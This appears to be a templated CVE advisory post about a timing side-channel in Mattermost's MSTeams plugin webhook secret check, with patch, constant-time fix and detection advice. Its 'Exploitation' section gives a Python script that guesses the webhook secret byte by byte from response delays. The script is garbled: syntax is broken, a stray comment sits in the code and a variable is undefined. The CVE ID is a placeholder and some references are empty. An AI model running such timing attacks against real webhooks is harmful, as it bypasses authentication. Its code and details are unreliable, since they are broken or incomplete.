How the CVE Works
CVE-2025-XXXX exploits a timing attack vulnerability in Mattermost’s MSTeams plugin (versions <2.1.0) and Mattermost Server (10.5.x <=10.5.1). The flaw occurs during webhook secret comparison, where the system fails to use constant-time comparison methods. Attackers can analyze response time variations to deduce the correct secret character-by-character. Each incorrect byte in the comparison introduces a measurable delay, allowing an attacker to iteratively guess the secret. This side-channel attack bypasses authentication by exploiting timing discrepancies in string matching logic.
DailyCVE Form
Platform: Mattermost
Version: <2.1.0 / 10.5.1
Vulnerability: Timing Attack
Severity: Moderate
Date: Apr 16, 2025
What Undercode Say:
Exploitation
- Timing Analysis Tool: Use Python to measure response delays:
import requests import time target = "https://target.com/webhook" secret = "" chars = "abcdef0123456789" for i in range(32): for c in chars: test_secret = secret + c + "A"(31-len(secret)) start = time.time() requests.post(target, headers={"X-Secret": test_secret}) delay = time.time() - start if delay > baseline: Compare to baseline secret += c break - Brute-Force Optimization: Combine with binary search to reduce requests.
Mitigation
- Patch: Upgrade to Mattermost Server >=10.5.2 or MSTeams Plugin >=2.1.0.
- Code Fix: Replace naive comparison with constant-time function:
import "crypto/subtle" func safeCompare(a, b string) bool { return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1 } - Network-Level: Rate-limit webhook endpoints and mask response times.
Detection
- Logs: Monitor for repeated webhook validation failures.
- WAF Rules: Block rapid sequential requests with varying `X-Secret` headers.
References
- NIST: CVE-2025-XXXX
- Mattermost Advisory: [bash]
- GitHub Commit: [Patch Diff]
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
